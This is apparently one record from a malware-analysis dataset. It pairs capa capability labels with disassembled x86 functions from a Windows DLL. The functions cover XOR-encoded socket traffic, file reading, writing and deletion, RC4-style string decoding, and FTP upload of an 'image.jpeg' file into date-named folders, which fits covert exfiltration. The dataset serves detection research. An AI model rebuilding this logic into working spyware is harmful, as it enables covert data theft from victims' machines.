joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001aa0
Capabilities:
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esi + 0x100034], ebx
je 0x10001ad6
mov dword [0x1014417c], 0xffffffff
mov eax, dword [esi + 0x100034]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [esi + 0x100034]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x100034], ebx
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x10001aec
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x10001afd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], ebx
mov byte [esi + 0x100038], bl
pop ebx
ret
Function at 0x10001b30
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, eax
mov eax, dword [esi + 0x8000c]
xor edi, edi
push edi
mov ecx, 0x80000
sub ecx, eax
push ecx
lea edx, [eax + esi + 0xc]
mov eax, dword [esi + 4]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x10001b80
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
cmp eax, 0x2733
je 0x10001caa
call edi
push eax
push 0x10020328
jmp 0x10001cf2
add dword [esi + 0x8000c], eax
mov eax, dword [esi + 0x8000c]
cmp eax, 4
jl 0x10001caa
mov al, byte [esi + edi + 0xc]
lea edx, [esi + 0xc]
cmp al, 0xc1
jne 0x10001bab
movzx ebx, byte [edi + esi + 0xd]
mov cl, byte [edi + esi + 0xf]
jmp 0x10001bca
cmp al, 0xc2
jne 0x10001ce7
movzx ecx, byte [edi + esi + 0xd]
shl cx, 8
movzx ebx, cx
movzx ecx, byte [edi + esi + 0xe]
or ebx, ecx
mov cl, byte [edi + esi + 0x10]
cmp ebx, 4
jl 0x10001cb3
cmp ebx, 0x80000
jg 0x10001cb3
cmp ebx, dword [esi + 0x8000c]
jg 0x10001c81
cmp al, 0xc1
jne 0x10001c1d
mov dl, byte [edi + esi + 0xe]
mov byte [ebp - 4], dl
lea edx, [ebx - 3]
xor eax, eax
lea ecx, [edi + esi + 0xf]
test edx, edx
jle 0x10001c49
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0xf]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 3]
cmp eax, edx
jl 0x10001c03
jmp 0x10001c49
mov cl, byte [edi + esi + 0xf]
lea edx, [ebx - 4]
xor eax, eax
mov byte [ebp - 4], cl
lea ecx, [edi + esi + 0x10]
test edx, edx
jle 0x10001c49
mov dl, byte [ecx + eax]
add dl, byte [ebp - 4]
lea ecx, [edi + esi + 0x10]
xor dl, 0xa0
mov byte [ecx + eax], dl
inc eax
lea edx, [ebx - 4]
cmp eax, edx
jl 0x10001c31
mov al, byte [ecx]
mov edx, dword [esi + 0x100014]
mov byte [ebp - 8], al
mov ecx, dword [ebp - 8]
push ebx
lea eax, [esi + edi + 0xc]
push eax
push ecx
call edx
sub dword [esi + 0x8000c], ebx
add esp, 0xc
add edi, ebx
cmp dword [esi + 0x8000c], 0
jg 0x10001b95
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jle 0x10001caa
mov eax, dword [esi + 0x8000c]
test eax, eax
jle 0x10001caa
mov ecx, 0x80000
sub ecx, edi
cmp eax, ecx
jg 0x10001caa
push eax
lea eax, [edi + esi + 0xc]
push eax
push edx
call dword [sym.imp.MSVCR100.dll_memmove]
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx ecx, cl
push ecx
movzx edx, al
push ebx
push edx
push 0x10020528
call fcn.1000f810
add esp, 4
push eax
push 0
mov ecx, 0x10139108
call fcn.10007130
add esp, 0x14
call fcn.10001aa0
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, byte [edi + esi + 0xc]
push eax
push 0x10020428
call fcn.1000f810
add esp, 4
push eax
push 0
mov ecx, 0x10139108
call fcn.10007130
add esp, 0xc
call fcn.10001aa0
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001d20
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.10013330
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x10138f3c
mov esi, ecx
mov edi, edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x10038f24], 0xffffffff
je 0x10001e18
cmp byte [0x10138f58], 0
je 0x10001e18
push esi
lea eax, [ebp - 0x80008]
push edi
push eax
call sub.MSVCR100.dll_memcpy
add esp, 0xc
xor eax, eax
cmp byte [ebp - 0x80008], 0xc1
jne 0x10001daa
mov cl, byte [ebp - 0x80006]
lea edi, [esi - 3]
test edi, edi
jle 0x10001dd8
lea esp, [esp]
mov dl, byte [ebp + eax - 0x80005]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80005], dl
inc eax
cmp eax, edi
jl 0x10001d90
jmp 0x10001dd8
mov cl, byte [ebp - 0x80005]
lea edi, [esi - 4]
test edi, edi
jle 0x10001dd8
jmp 0x10001dc0
mov dl, byte [ebp + eax - 0x80004]
xor dl, 0xa0
sub dl, cl
mov byte [ebp + eax - 0x80004], dl
inc eax
cmp eax, edi
jl 0x10001dc0
mov eax, dword [0x10138f30]
test eax, eax
jle 0x10001e71
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x10001e36
push ecx
push 0x10020628
call fcn.1000f810
add esp, 4
push eax
push 0
mov ecx, 0x10139108
call fcn.10007130
add esp, 0xc
mov esi, 0x10038f20
call fcn.10001aa0
push 0x10138f3c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012916
mov esp, ebp
pop ebp
ret
push esi
lea ecx, [ebp - 0x80008]
push ecx
lea edx, [eax + 0x100b8f30]
push edx
call sub.MSVCR100.dll_memcpy
add esp, 0xc
add dword [0x10138f30], esi
push 0x10138f3c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10012916
mov esp, ebp
pop ebp
ret
xor edi, edi
test esi, esi
jle 0x10001e53
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [0x10038f24]
push 0
push esi
lea eax, [ebp + edi - 0x80008]
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x10001ea0
sub esi, eax
add edi, eax
test esi, esi
jg 0x10001e7d
jmp 0x10001e53
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x10001edf
mov eax, dword [0x10138f30]
lea ecx, [eax + esi]
cmp ecx, 0x80000
jle 0x10001eca
push ecx
push 0x10020728
jmp 0x10001df6
push esi
lea edx, [ebp + edi - 0x80008]
push edx
lea eax, [eax + 0x100b8f30]
push eax
jmp 0x10001e45
call ebx
push eax
push 0x10020828
jmp 0x10001df6
Function at 0x10001ef0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
push edi
lea ebx, [esi + 0x10001c]
push ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10001f49
lea ebx, [esi + 0x80010]
mov eax, dword [esi + 0x100010]
mov edx, dword [esi + 4]
push 0
push eax
lea ecx, [ebx + edi]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10001f59
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
jg 0x10001f19
mov ebx, dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10001f92
mov eax, dword [esi + 0x100010]
push eax
lea ecx, [edi + esi + 0x80010]
push ecx
push ebx
call dword [sym.imp.MSVCR100.dll_memmove]
mov edx, dword [ebp - 4]
add esp, 0xc
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0x10020928
call fcn.1000f810
add esp, 4
push eax
push 0
mov ecx, 0x10139108
call fcn.10007130
add esp, 0xc
call fcn.10001aa0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002330
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x20
push 3
push 0
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002390
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 8], eax
mov eax, dword [esi + 4]
test eax, eax
je 0x10002376
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [esi + 4], 0
mov ecx, dword [esi + 8]
push ecx
call fcn.10010898
add esp, 4
mov dword [esi + 4], eax
test eax, eax
jne 0x10002397
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
push 0
lea edx, [ebp - 4]
push edx
push ecx
push eax
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
test eax, eax
je 0x1000238a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x100023d0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
call fcn.10002330
test al, al
jne 0x100023e5
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [esi + 8]
cmp edi, 8
jae 0x100023f6
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov eax, 0x10016780
mov ecx, 8
sub edx, eax
push ebx
jmp 0x10002410
mov ebx, dword [edx + eax]
cmp ebx, dword [eax]
jne 0x100024c3
sub ecx, 4
add eax, 4
cmp ecx, 4
jae 0x10002410
add edi, 0xfffffff8
xor eax, eax
test edi, edi
jle 0x10002473
nop
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0x1f
movsx edx, byte [edx + 0x1013934c]
and edx, 0xf
movzx edx, byte [edx + 0x10016788]
sub byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 4]
mov edx, eax
and edx, 0xf
movzx edx, byte [edx + 0x10016788]
xor byte [ecx + eax + 8], dl
lea ecx, [ecx + eax + 8]
mov ecx, dword [esi + 8]
inc eax
sub ecx, 8
cmp eax, ecx
jl 0x10002430
push 0
push 0x102
push 2
push 0
push 7
push 0x40000000
lea edx, [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100024c3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 4]
push 0
lea eax, [ebp - 4]
push eax
sub ecx, 8
push ecx
add edx, 8
push edx
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x100024cc
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100024e0
Capabilities:
Delete file

Disassembly:
push edi
lea edi, [esi + 0xc]
mov ecx, 0x100167a0
mov eax, edi
jmp 0x100024f0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002510
test dl, dl
je 0x1000250c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002510
add eax, 2
add ecx, 2
test dl, dl
jne 0x100024f0
xor eax, eax
jmp 0x10002515
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000254c
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1000254c
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
push 0x100
push 0
push edi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call sub.MSVCR100.dll_memset
add esp, 0x10
pop edi
ret
Function at 0x10002610
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Delete file
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1013e1b8], 0
push ebx
push esi
push edi
je 0x10002741
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10139080]
cmp eax, 0x927c0
jb 0x1000264f
call esi
mov dword [0x10139080], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push 0x1013e200
mov ebx, eax
movzx eax, word [0x1013e1dc]
push 0x1013e1e0
push eax
push 0x1013e1bc
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [ebp - 0x120]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x11a]
movzx eax, word [ebp - 0x11e]
movzx ecx, word [ebp - 0x120]
push edx
push eax
push ecx
lea edx, [ebp - 0x110]
push str._04d__02d__02d
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
lea ecx, [ebp - 0x110]
push ecx
lea edi, [ebp - 0x13c]
call fcn.10002870
mov eax, dword [ebp - 0x13c]
mov edi, 0x10
cmp dword [ebp - 0x128], edi
jae 0x100026fa
lea eax, [ebp - 0x13c]
push 0
push 2
push eax
push str.image.jpeg
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x1000271b
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push str.image.jpeg
call dword [sym.imp.MSVCR100.dll_remove]
add esp, 4
cmp dword [ebp - 0x128], edi
jb 0x10002741
mov edx, dword [ebp - 0x13c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012916
mov esp, ebp
pop ebp
ret
Function at 0x10002760
Capabilities:
Check for time delay via gettickcount
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x1001b018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov dword [ebp - 0x210], eax
call esi
sub eax, dword [0x10139080]
cmp eax, 0x927c0
jb 0x1000279a
call esi
mov dword [0x10139080], eax
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
movzx ecx, word [0x1013e1dc]
push 0
push 0
push 1
push 0x1013e200
push 0x1013e1e0
push ecx
mov edi, eax
push 0x1013e1bc
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edx, dword [str.Tools]
push 0xfe
mov esi, eax
mov ax, word [0x100167c4]
lea ecx, [ebp - 0x102]
push 0
push ecx
mov dword [ebp - 0x108], edx
mov word [ebp - 0x104], ax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
mov eax, dword [ebp - 0x210]
push eax
lea ecx, [ebp - 0x108]
push ecx
push str._s__s
lea edx, [ebp - 0x20c]
push 0x104
push edx
call dword [sym.imp.MSVCR100.dll_sprintf_s]
add esp, 0x14
push 0
push 2
lea eax, [ebp - 0x20c]
push eax
push ebx
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x1000285a
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10012916
mov esp, ebp
pop ebp
ret 4
Function at 0x100036f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x101444c8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_jc]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x101444c8], cl
inc eax
cmp eax, 0x100
jl 0x10003710
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x101444c8
push 0
mov ecx, 0x10139108
call fcn.10007130
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x1013f070], ecx
mov dword [ebp - 8], 0
jbe 0x100038f5
mov edi, dword [0x101390b0]
lea eax, [esi + 0xa]
mov esi, dword [0x101390ac]
mov dword [ebp - 4], eax
cmp eax, edi
jae 0x1000383d
cmp esi, eax
ja 0x1000383d
mov ecx, eax
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
cmp edi, dword [0x101390b4]
jne 0x10003816
mov ecx, edi
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x38e38e2
ja 0x10003906
mov edx, dword [0x101390b4]
sub edx, esi
mov eax, 0x38e38e39
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003816
mov edx, eax
shr edx, 1
mov esi, 0x38e38e3
sub esi, edx
cmp esi, eax
jae 0x100037f7
xor eax, eax
jmp 0x100037f9
add eax, edx
cmp eax, ecx
jae 0x100037ff
mov eax, ecx
push eax
mov ecx, 0x101390ac
call fcn.10004a30
mov edi, dword [0x101390b0]
mov esi, dword [0x101390ac]
lea edx, [ebx + ebx*8]
lea eax, [esi + edx*8]
test edi, edi
je 0x10003835
mov ecx, 0x12
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x101390b0]
mov esi, dword [0x101390ac]
mov eax, dword [ebp - 4]
jmp 0x100038d0
mov ebx, dword [0x101390b4]
cmp edi, ebx
jne 0x100038b7
mov ecx, edi
sub ecx, esi
mov eax, 0x38e38e39
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0x38e38e2
ja 0x10003906
mov edx, ebx
sub edx, esi
mov eax, 0x38e38e39
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x100038b4
mov edx, eax
shr edx, 1
mov esi, 0x38e38e3
sub esi, edx
cmp esi, eax
jae 0x10003895
xor eax, eax
jmp 0x10003897
add eax, edx
cmp eax, ecx
jae 0x1000389d
mov eax, ecx
push eax
mov ecx, 0x101390ac
call fcn.10004a30
mov edi, dword [0x101390b0]
mov esi, dword [0x101390ac]
mov eax, dword [ebp - 4]
test edi, edi
je 0x100038d0
mov ecx, 0x12
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [0x101390b0]
mov esi, dword [0x101390ac]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 8]
add edi, 0x48
mov dword [0x101390b0], edi
movzx edx, byte [edx + 8]
inc ecx
add eax, 0x48
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
cmp ecx, edx
jl 0x10003778
pop edi
pop esi
mov dword [0x1013f05c], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x10003920
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x101444c8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + 0x1001fa28]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x101444c8], cl
inc eax
cmp eax, 0x100
jl 0x10003940
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x101444c8
push 0
mov ecx, 0x10139108
call fcn.10007130
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x1013f074], ecx
mov dword [ebp - 8], 0
jbe 0x10003b19
mov ebx, dword [0x101390c0]
lea ecx, [esi + 0xa]
mov esi, dword [0x101390bc]
mov dword [ebp - 4], ecx
cmp ecx, ebx
jae 0x10003a58
cmp esi, ecx
ja 0x10003a58
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov edi, edx
shr edi, 0x1f
add edi, edx
cmp ebx, dword [0x101390c4]
jne 0x10003a44
mov ecx, ebx
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xf83e0e
ja 0x10003b2a
mov edx, dword [0x101390c4]
sub edx, esi
mov eax, 0x3e0f83e1
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003a44
mov edx, eax
shr edx, 1
mov esi, 0xf83e0f
sub esi, edx
cmp esi, eax
jae 0x10003a25
xor eax, eax
jmp 0x10003a27
add eax, edx
cmp eax, ecx
jae 0x10003a2d
mov eax, ecx
push eax
mov ecx, 0x101390bc
call fcn.10004b20
mov ebx, dword [0x101390c0]
mov esi, dword [0x101390bc]
imul edi, edi, 0x108
add edi, esi
test ebx, ebx
je 0x10003aeb
mov esi, edi
jmp 0x10003ad6
mov edi, dword [0x101390c4]
cmp ebx, edi
jne 0x10003acf
mov ecx, ebx
sub ecx, esi
mov eax, 0x3e0f83e1
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xf83e0e
ja 0x10003b2a
mov edx, edi
sub edx, esi
mov eax, 0x3e0f83e1
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003acf
mov edx, eax
shr edx, 1
mov esi, 0xf83e0f
sub esi, edx
cmp esi, eax
jae 0x10003ab0
xor eax, eax
jmp 0x10003ab2
add eax, edx
cmp eax, ecx
jae 0x10003ab8
mov eax, ecx
push eax
mov ecx, 0x101390bc
call fcn.10004b20
mov ebx, dword [0x101390c0]
mov esi, dword [0x101390bc]
test ebx, ebx
je 0x10003aeb
mov esi, dword [ebp - 4]
mov edi, ebx
mov ecx, 0x42
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [0x101390c0]
mov esi, dword [0x101390bc]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ebx, 0x108
mov dword [0x101390c0], ebx
movzx edx, byte [edx + 8]
inc eax
add ecx, 0x108
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
cmp eax, edx
jl 0x100039a8
pop edi
pop esi
mov dword [0x1013f060], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x10003b40
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x100
push 0
push 0x101444c8
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
nop
mov cl, byte [eax + str.r_j_]
sub cl, 0x1b
xor cl, 0xc
mov byte [eax + 0x101444c8], cl
inc eax
cmp eax, 0x100
jl 0x10003b60
mov esi, dword [ebp + 8]
movzx edx, word [esi + 6]
movzx eax, byte [esi + 8]
push edx
push eax
push 0x101444c8
push 0
mov ecx, 0x10139108
call fcn.10007130
movzx ecx, word [esi + 6]
add esp, 0x10
cmp byte [esi + 8], 0
mov dword [0x1013f078], ecx
mov dword [ebp - 8], 0
jbe 0x10003d3a
mov ebx, dword [0x101390d0]
lea ecx, [esi + 0xa]
mov esi, dword [0x101390cc]
mov dword [ebp - 4], ecx
cmp ecx, ebx
jae 0x10003c78
cmp esi, ecx
ja 0x10003c78
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov edi, edx
shr edi, 0x1f
add edi, edx
cmp ebx, dword [0x101390d4]
jne 0x10003c64
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xfb1884
ja 0x10003d4b
mov edx, dword [0x101390d4]
sub edx, esi
mov eax, 0x7d8c42b3
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003c64
mov edx, eax
shr edx, 1
mov esi, 0xfb1885
sub esi, edx
cmp esi, eax
jae 0x10003c45
xor eax, eax
jmp 0x10003c47
add eax, edx
cmp eax, ecx
jae 0x10003c4d
mov eax, ecx
push eax
mov ecx, 0x101390cc
call fcn.10004c10
mov ebx, dword [0x101390d0]
mov esi, dword [0x101390cc]
imul edi, edi, 0x105
add edi, esi
test ebx, ebx
je 0x10003d0c
mov esi, edi
jmp 0x10003cf6
mov edi, dword [0x101390d4]
cmp ebx, edi
jne 0x10003cef
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmp ecx, 0xfb1884
ja 0x10003d4b
mov edx, edi
sub edx, esi
mov eax, 0x7d8c42b3
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ecx
add eax, edx
cmp ecx, eax
jbe 0x10003cef
mov edx, eax
shr edx, 1
mov esi, 0xfb1885
sub esi, edx
cmp esi, eax
jae 0x10003cd0
xor eax, eax
jmp 0x10003cd2
add eax, edx
cmp eax, ecx
jae 0x10003cd8
mov eax, ecx
push eax
mov ecx, 0x101390cc
call fcn.10004c10
mov ebx, dword [0x101390d0]
mov esi, dword [0x101390cc]
test ebx, ebx
je 0x10003d0c
mov esi, dword [ebp - 4]
mov edi, ebx
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, dword [0x101390d0]
mov esi, dword [0x101390cc]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
add ebx, 0x105
mov dword [0x101390d0], ebx
movzx edx, byte [edx + 8]
inc eax
add ecx, 0x105
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
cmp eax, edx
jl 0x10003bc8
pop edi
pop esi
mov dword [0x1013f064], 1
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3